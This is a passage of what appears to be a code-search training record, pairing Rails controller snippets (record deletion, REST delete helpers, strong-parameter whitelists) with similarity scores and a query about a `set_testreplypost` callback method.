"def destroy\n @test_post.destroy\n respond_to do |format|\n format.html { redirect_to test_posts_url, notice: 'Test post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end",
"def destroy\n @post.destroy\n\n json_response(@post)\n end",
"def destroy\n @post.destroy\n render json: {}, status: :ok\n end",
"def delete!\n request! :delete\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end",
"def destroy\n @message_post = MessagePost.find(params[:id])\n @message_post.destroy\n\n respond_to do |format|\n format.html { redirect_to message_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n #@post = @contest.posts.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to(posts_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n reply = Reply.find(params[:id])\n if reply.destroy\n response_data = {\n reply: reply,\n status: 'success',\n txt: ['回答を削除しました!'],\n }\n render json: response_data\n end\n end",
"def destroy\n @feedback_reply.destroy\n# respond_to do |format|\n# format.html { redirect_to feedback_replies_url }\n# format.json { head :no_content }\n# end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @slashdot_posting.destroy\n respond_to do |format|\n format.html { redirect_to slashdot_postings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end",
"def destroy\n\t\t@post = Post.find(params[:post_id])\n \t@reply = @post.replies.find(params[:id])\n \t@reply.destroy\n \tredirect_to @post, notice: \"Comment deleted!\"\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.friendly.find(params[:id])\n @post.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Story deleted' }\n format.json { head :no_content }\n end\n end",
"def delete(*args)\n Request.delete(*args)\n end",
"def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @client = Client.find(params[:id])\n\n project_id = @client.project_id\n\n # Destroy all the client's posts\n clients_posts = Post.where(:user_id => @client.id)\n clients_posts.each do |post|\n post.destroy\n end\n\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to project_url(:id => project_id, :page => 'options') }\n format.json { head :no_content }\n end\n end",
"def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end",
"def destroy\n respond_with post.destroy(params[:id])\n end",
"def delete!\n Recliner.delete(uri)\n end",
"def destroy\n @inquiry_reply.destroy\n respond_to do |format|\n format.html {redirect_to inquiry_replies_url, notice: 'Inquiry reply was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n respond_with @post.destroy\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete(*rest) end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n end",
"def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @post_thread.destroy\n respond_to do |format|\n format.html { redirect_to backend_post_threads_url }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end",
"def destroy\n @micorpost = Micorpost.find(params[:id])\n @micorpost.destroy\n\n respond_to do |format|\n format.html { redirect_to micorposts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n destroy_q(@post, posts_url)\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post_vote = PostVote.find(params[:id])\n @api_v1_post_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_post_votes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7447253",
"0.71885616",
"0.71482754",
"0.7132503",
"0.7129506",
"0.7111269",
"0.70858586",
"0.7062502",
"0.70077604",
"0.69489765",
"0.69489765",
"0.69489765",
"0.69489765",
"0.69489765",
"0.6944151",
"0.69347095",
"0.690423",
"0.690423",
"0.6890433",
"0.68859076",
"0.6880162",
"0.68371135",
"0.68254924",
"0.68176097",
"0.68121344",
"0.67948365",
"0.6781478",
"0.6771718",
"0.67532384",
"0.6737239",
"0.6737239",
"0.6735718",
"0.6726606",
"0.67150754",
"0.6709945",
"0.6697034",
"0.66967046",
"0.66940224",
"0.668885",
"0.66395324",
"0.66232944",
"0.6609594",
"0.6603664",
"0.65852946",
"0.6579005",
"0.65616125",
"0.6557717",
"0.6555388",
"0.65514314",
"0.65473753",
"0.6547121",
"0.6544235",
"0.6532064",
"0.65279293",
"0.652204",
"0.65137094",
"0.6512064",
"0.65068626",
"0.6505969",
"0.6504762",
"0.6501015",
"0.64998364",
"0.6494715",
"0.6489096",
"0.6486033",
"0.64805996",
"0.6478575",
"0.6478575",
"0.64746284",
"0.64746284",
"0.64746284",
"0.64746284",
"0.6466627",
"0.64632887",
"0.64559543",
"0.6455533",
"0.6453159",
"0.64415497",
"0.6434258",
"0.6432197",
"0.64307785",
"0.6426627",
"0.64259976",
"0.6423878",
"0.64128023",
"0.64122355",
"0.6410775",
"0.6406097",
"0.6404782",
"0.64029557",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121",
"0.640121"
] | 0.7330937 | 1 |
Use callbacks to share common setup or constraints between actions. | def set_testreplypost
@testreplypost = Testreplypost.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def testreplypost_params
params.require(:testreplypost).permit(:text, :testpost_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
